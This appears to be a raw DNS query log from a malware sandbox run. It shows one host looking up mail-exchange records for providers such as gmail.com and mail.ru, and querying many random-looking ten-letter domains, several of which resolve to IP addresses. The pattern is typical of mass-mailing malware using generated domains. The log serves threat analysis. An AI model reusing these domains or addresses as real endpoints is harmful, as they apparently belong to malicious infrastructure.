Nov 7, 2022 22:25:28.706262112 CET	8.8.8.8	192.168.2.5	0x57c0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.706262112 CET	8.8.8.8	192.168.2.5	0x57c0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.706262112 CET	8.8.8.8	192.168.2.5	0x57c0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.707518101 CET	8.8.8.8	192.168.2.5	0xd45b	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.709534883 CET	8.8.8.8	192.168.2.5	0x73d7	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.729547024 CET	8.8.8.8	192.168.2.5	0x512c	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:28.740886927 CET	8.8.8.8	192.168.2.5	0x488b	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.753691912 CET	8.8.8.8	192.168.2.5	0x9448	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:28.753691912 CET	8.8.8.8	192.168.2.5	0x9448	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:30.360450983 CET	8.8.8.8	192.168.2.5	0xab72	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:30.448734999 CET	8.8.8.8	192.168.2.5	0x5582	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:30.453058958 CET	8.8.8.8	192.168.2.5	0xeb96	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:31.422959089 CET	8.8.8.8	192.168.2.5	0xd062	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:35.170402050 CET	8.8.8.8	192.168.2.5	0xa49	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:36.149409056 CET	8.8.8.8	192.168.2.5	0x5c58	Name error (3)	wnhrrnhran.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:36.149693012 CET	8.8.8.8	192.168.2.5	0x540a	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:36.151974916 CET	8.8.8.8	192.168.2.5	0xbafa	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:36.255084038 CET	8.8.8.8	192.168.2.5	0xa49	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:36.837435007 CET	8.8.8.8	192.168.2.5	0xa30c	Name error (3)	resrnrrmnn.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:37.287982941 CET	8.8.8.8	192.168.2.5	0xa49	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:38.891056061 CET	8.8.8.8	192.168.2.5	0xe7e2	Name error (3)	mannheraph.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.138925076 CET	8.8.8.8	192.168.2.5	0x75f4	Name error (3)	pqnqqqrpmh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.140450001 CET	8.8.8.8	192.168.2.5	0x5a6b	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.171605110 CET	8.8.8.8	192.168.2.5	0x1f69	Name error (3)	smprehnwhs.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.401988983 CET	8.8.8.8	192.168.2.5	0xcb28	Name error (3)	rhwnqwwnah.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.469079971 CET	8.8.8.8	192.168.2.5	0x1a31	Name error (3)	srsersmhsa.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.674052000 CET	8.8.8.8	192.168.2.5	0xc451	Name error (3)	neshnhhwss.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.704693079 CET	8.8.8.8	192.168.2.5	0x992b	Name error (3)	mswapwrnan.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:39.761607885 CET	8.8.8.8	192.168.2.5	0xefe2	Name error (3)	ahsppnhrmh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:40.943290949 CET	8.8.8.8	192.168.2.5	0x53d4	Name error (3)	wmamewnnea.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.409106016 CET	8.8.8.8	192.168.2.5	0x5feb	Name error (3)	nhwwheearh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.550546885 CET	8.8.8.8	192.168.2.5	0xb4ec	Name error (3)	msqepwamwn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.884366035 CET	8.8.8.8	192.168.2.5	0x5bc5	Name error (3)	pmmpmshmsr.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:41.943022966 CET	8.8.8.8	192.168.2.5	0x6c92	Name error (3)	mahwmwnrmn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.291735888 CET	8.8.8.8	192.168.2.5	0x60f7	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.291779995 CET	8.8.8.8	192.168.2.5	0xc7b7	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:42.311353922 CET	8.8.8.8	192.168.2.5	0xe4d2	No error (0)	aaawpshran.com		63.141.242.44	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:42.842161894 CET	8.8.8.8	192.168.2.5	0x4a0e	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:42.844274044 CET	8.8.8.8	192.168.2.5	0x6f35	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.008995056 CET	8.8.8.8	192.168.2.5	0x14b5	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:43.017663002 CET	8.8.8.8	192.168.2.5	0x28e7	Name error (3)	smmmwrsqhs.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.021859884 CET	8.8.8.8	192.168.2.5	0x5b87	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.021859884 CET	8.8.8.8	192.168.2.5	0x5b87	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.044912100 CET	8.8.8.8	192.168.2.5	0xd845	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.081717968 CET	8.8.8.8	192.168.2.5	0xf99f	Name error (3)	pweenawwra.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.659502029 CET	8.8.8.8	192.168.2.5	0x2cb9	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.659991026 CET	8.8.8.8	192.168.2.5	0x6d3e	Name error (3)	sqepwsanpn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.793298006 CET	8.8.8.8	192.168.2.5	0xa95c	Name error (3)	qseerensns.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.840806007 CET	8.8.8.8	192.168.2.5	0x2587	Name error (3)	hnhsehnhpa.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:43.997364998 CET	8.8.8.8	192.168.2.5	0x82d8	Name error (3)	psswwrmraa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.033832073 CET	8.8.8.8	192.168.2.5	0xd4c2	Name error (3)	hwhnrpesma.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.737005949 CET	8.8.8.8	192.168.2.5	0xdfd1	Name error (3)	qmqspqnhwa.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.782634974 CET	8.8.8.8	192.168.2.5	0x6e17	Name error (3)	shprahaqrh.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.839883089 CET	8.8.8.8	192.168.2.5	0x7715	Name error (3)	rmmamheshh.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:44.898967028 CET	8.8.8.8	192.168.2.5	0xcf79	No error (0)	ennmqsmqna.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:45.750535011 CET	8.8.8.8	192.168.2.5	0xec8	Name error (3)	qseahwrsps.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:45.841603994 CET	8.8.8.8	192.168.2.5	0x9fc8	No error (0)	ehrawpsrms.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:46.243977070 CET	8.8.8.8	192.168.2.5	0xf4a5	Name error (3)	naspqmsmeh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:46.275178909 CET	8.8.8.8	192.168.2.5	0x6af5	Name error (3)	wwnmhhenpa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.196588993 CET	8.8.8.8	192.168.2.5	0x1acb	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.236615896 CET	8.8.8.8	192.168.2.5	0x239b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.236615896 CET	8.8.8.8	192.168.2.5	0x239b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.236615896 CET	8.8.8.8	192.168.2.5	0x239b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.236615896 CET	8.8.8.8	192.168.2.5	0x239b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.236615896 CET	8.8.8.8	192.168.2.5	0x239b	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.240911007 CET	8.8.8.8	192.168.2.5	0x1536	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.240911007 CET	8.8.8.8	192.168.2.5	0x1536	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.240911007 CET	8.8.8.8	192.168.2.5	0x1536	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.240911007 CET	8.8.8.8	192.168.2.5	0x1536	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.240911007 CET	8.8.8.8	192.168.2.5	0x1536	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.241367102 CET	8.8.8.8	192.168.2.5	0x53ba	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.262269974 CET	8.8.8.8	192.168.2.5	0x9908	No error (0)	aspmx2.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.265185118 CET	8.8.8.8	192.168.2.5	0xa7b8	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.332524061 CET	8.8.8.8	192.168.2.5	0xac60	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:47.343318939 CET	8.8.8.8	192.168.2.5	0xa70a	Name error (3)	qmrmswrran.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.349617958 CET	8.8.8.8	192.168.2.5	0xa70a	Name error (3)	qmrmswrran.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.707288027 CET	8.8.8.8	192.168.2.5	0xcc85	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.709989071 CET	8.8.8.8	192.168.2.5	0x388f	Name error (3)	wqeasppnas.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:47.768373966 CET	8.8.8.8	192.168.2.5	0xff9f	No error (0)	awhhsqness.com		81.17.18.198	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:48.648189068 CET	8.8.8.8	192.168.2.5	0x7048	No error (0)	eqprsrnprs.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:48.833249092 CET	8.8.8.8	192.168.2.5	0xa444	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:48.837838888 CET	8.8.8.8	192.168.2.5	0x873b	No error (0)	alt2.aspmx.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:49.137000084 CET	8.8.8.8	192.168.2.5	0x8677	No error (0)	aaesrmawah.com		81.17.18.194	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:49.230318069 CET	8.8.8.8	192.168.2.5	0xbf6a	Name error (3)	wnaampsmna.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.236821890 CET	8.8.8.8	192.168.2.5	0xa884	Name error (3)	qpnphqawmh.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.276187897 CET	8.8.8.8	192.168.2.5	0xaea9	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.400039911 CET	8.8.8.8	192.168.2.5	0x8bcb	No error (0)	aspmx3.googlemail.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.406388998 CET	8.8.8.8	192.168.2.5	0xc2e7	Name error (3)	hmqrapnpsh.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.436589956 CET	8.8.8.8	192.168.2.5	0x9a95	Name error (3)	aqsnaasemh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.477648973 CET	8.8.8.8	192.168.2.5	0x2ed7	Name error (3)	haswmnsqah.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.515086889 CET	8.8.8.8	192.168.2.5	0x6924	Name error (3)	aeaqnwmhes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.766803026 CET	8.8.8.8	192.168.2.5	0x3f6b	Name error (3)	mqsnrenerh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.793930054 CET	8.8.8.8	192.168.2.5	0xa629	Name error (3)	nspseanhrs.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:50.833668947 CET	8.8.8.8	192.168.2.5	0xead5	Name error (3)	haaahpspqs.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.063024998 CET	8.8.8.8	192.168.2.5	0x7bd5	Name error (3)	qppqsasahn.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.598733902 CET	8.8.8.8	192.168.2.5	0x54d7	Name error (3)	mnnhnhahmh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.608776093 CET	8.8.8.8	192.168.2.5	0x8401	No error (0)	aspmx.l.google.com		142.250.102.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.613706112 CET	8.8.8.8	192.168.2.5	0x9547	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.613706112 CET	8.8.8.8	192.168.2.5	0x9547	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.613706112 CET	8.8.8.8	192.168.2.5	0x9547	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.613706112 CET	8.8.8.8	192.168.2.5	0x9547	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.613706112 CET	8.8.8.8	192.168.2.5	0x9547	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.627027988 CET	8.8.8.8	192.168.2.5	0xf797	Name error (3)	nwrrpeshhn.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.642007113 CET	8.8.8.8	192.168.2.5	0xcf14	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:51.650155067 CET	8.8.8.8	192.168.2.5	0x8f97	No error (0)	gmail-smtp-in.l.google.com		142.250.102.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.656152964 CET	8.8.8.8	192.168.2.5	0x2e7e	Name error (3)	wqsrephqms.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.674407005 CET	8.8.8.8	192.168.2.5	0x20ec	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.674407005 CET	8.8.8.8	192.168.2.5	0x20ec	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:51.961131096 CET	8.8.8.8	192.168.2.5	0x5324	Name error (3)	nprhssnrmn.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:52.911798954 CET	8.8.8.8	192.168.2.5	0xba68	No error (0)	eqnhphnqms.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:52.939959049 CET	8.8.8.8	192.168.2.5	0x5f2	No error (0)	alt1.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:52.964948893 CET	8.8.8.8	192.168.2.5	0x4172	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:54.090434074 CET	8.8.8.8	192.168.2.5	0x7985	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:55.097831011 CET	8.8.8.8	192.168.2.5	0x3380	Name error (3)	neqanhanwn.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:25:55.176882982 CET	8.8.8.8	192.168.2.5	0x7985	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:25:57.470983028 CET	8.8.8.8	192.168.2.5	0x7985	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:26:00.516761065 CET	8.8.8.8	192.168.2.5	0xdbcc	No error (0)	alt3.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.518778086 CET	8.8.8.8	192.168.2.5	0x62f2	Name error (3)	smrnnmaqra.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.716418028 CET	8.8.8.8	192.168.2.5	0xfd98	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.721828938 CET	8.8.8.8	192.168.2.5	0xc8ea	Name error (3)	nnnrpsanwh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:00.801273108 CET	8.8.8.8	192.168.2.5	0xd0c1	Name error (3)	wharrewhpn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.239418030 CET	8.8.8.8	192.168.2.5	0x3d04	Name error (3)	qhhnpesehs.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.332293987 CET	8.8.8.8	192.168.2.5	0x51e9	Name error (3)	mesrphwwas.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.361999989 CET	8.8.8.8	192.168.2.5	0x7d51	Name error (3)	awmmprseha.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:01.879964113 CET	8.8.8.8	192.168.2.5	0xd72e	Name error (3)	weaamsqssa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.172682047 CET	8.8.8.8	192.168.2.5	0x7ea2	Name error (3)	rqeaqsqpsr.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.408765078 CET	8.8.8.8	192.168.2.5	0xe6cc	Name error (3)	wrmqnnrqmh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.469914913 CET	8.8.8.8	192.168.2.5	0x3829	Name error (3)	npmpsewraa.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:02.502540112 CET	8.8.8.8	192.168.2.5	0xdc30	Name error (3)	whqrmqmnrs.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.063647032 CET	8.8.8.8	192.168.2.5	0xb8d	Name error (3)	nwqsnneawh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.149802923 CET	8.8.8.8	192.168.2.5	0xe4f4	Name error (3)	smwrehrsph.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.221652031 CET	8.8.8.8	192.168.2.5	0x7483	Name error (3)	qrmhwrwwmn.info	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.276740074 CET	8.8.8.8	192.168.2.5	0x9d51	Name error (3)	sprpmpqasn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:03.317210913 CET	8.8.8.8	192.168.2.5	0x7955	Name error (3)	apmeppqwqh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.102376938 CET	8.8.8.8	192.168.2.5	0xb782	Name error (3)	wqpeaenphs.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.150266886 CET	8.8.8.8	192.168.2.5	0x3402	Name error (3)	awqqrwmwsh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.188605070 CET	8.8.8.8	192.168.2.5	0x78dd	No error (0)	erphseshhh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.629185915 CET	8.8.8.8	192.168.2.5	0xc08f	Name error (3)	nmerqanann.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.679800034 CET	8.8.8.8	192.168.2.5	0xf8b	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.714720011 CET	8.8.8.8	192.168.2.5	0xbb04	Name error (3)	hpswpmhqah.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:05.793509960 CET	8.8.8.8	192.168.2.5	0x160	Name error (3)	psqesnmpph.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:06.674902916 CET	8.8.8.8	192.168.2.5	0xd6b0	Name error (3)	hwnwwhmapa.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:06.926543951 CET	8.8.8.8	192.168.2.5	0xa994	Name error (3)	nerrawwees.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.016968966 CET	8.8.8.8	192.168.2.5	0x7e6	Name error (3)	smqnsaanqs.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.134138107 CET	8.8.8.8	192.168.2.5	0x13f5	Name error (3)	pehawnswha.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.165179014 CET	8.8.8.8	192.168.2.5	0x7260	Name error (3)	wsmsannrsr.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.317961931 CET	8.8.8.8	192.168.2.5	0x4675	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Nov 7, 2022 22:26:07.338831902 CET	8.8.8.8	192.168.2.5	0x41f0	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.532994986 CET	8.8.8.8	192.168.2.5	0x330	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.689526081 CET	8.8.8.8	192.168.2.5	0xaee6	Name error (3)	pnmhpsaqwn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.710575104 CET	8.8.8.8	192.168.2.5	0x1df5	Name error (3)	wpraeqahma.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.738646030 CET	8.8.8.8	192.168.2.5	0x171e	Name error (3)	napenhsmha.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.759675026 CET	8.8.8.8	192.168.2.5	0x6acc	Name error (3)	manrhhmrsn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.899733067 CET	8.8.8.8	192.168.2.5	0x7188	Name error (3)	rqsepprwmh.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.923463106 CET	8.8.8.8	192.168.2.5	0xa87f	Name error (3)	wnrphnsawn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.946620941 CET	8.8.8.8	192.168.2.5	0xf17b	Name error (3)	npeewrpmsh.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:07.969578028 CET	8.8.8.8	192.168.2.5	0xae1	Name error (3)	spmpesqama.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.131613970 CET	8.8.8.8	192.168.2.5	0xe3eb	Name error (3)	rpwrwpqmrs.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.154772997 CET	8.8.8.8	192.168.2.5	0x6831	Name error (3)	smspppawmn.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.201101065 CET	8.8.8.8	192.168.2.5	0x6faf	Name error (3)	pmrqmemawa.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.724827051 CET	8.8.8.8	192.168.2.5	0x4233	Name error (3)	wmphheprha.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.748914003 CET	8.8.8.8	192.168.2.5	0x6180	Name error (3)	prmaahsmqs.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:08.925411940 CET	8.8.8.8	192.168.2.5	0xbe62	No error (0)	emhmmwaasa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.307655096 CET	8.8.8.8	192.168.2.5	0xbe5c	Name error (3)	pehprrmnns.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.332720041 CET	8.8.8.8	192.168.2.5	0xf6d2	Name error (3)	hwenrqmmmh.net	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.356590033 CET	8.8.8.8	192.168.2.5	0xa24d	Name error (3)	nhamrnqsps.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.384529114 CET	8.8.8.8	192.168.2.5	0x625	Name error (3)	wpnermpasr.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.412008047 CET	8.8.8.8	192.168.2.5	0xc692	Name error (3)	nnhssqsasr.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.439300060 CET	8.8.8.8	192.168.2.5	0x9a5	Name error (3)	mnmrweahpn.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.465929031 CET	8.8.8.8	192.168.2.5	0xd72d	Name error (3)	nhseewhaps.us	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.492111921 CET	8.8.8.8	192.168.2.5	0xf43	Name error (3)	msaemqshmh.in	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.519910097 CET	8.8.8.8	192.168.2.5	0x69b2	Name error (3)	aewnhwwpwa.com	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.547420025 CET	8.8.8.8	192.168.2.5	0xd751	Name error (3)	snarawppsr.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2022 22:26:09.818351030 CET	8.8.8.8	192.168.2.5	0xde57	Name error (3)	qsaqhnrwwn.info	none	none	A (IP address)	IN (0x0001)	false
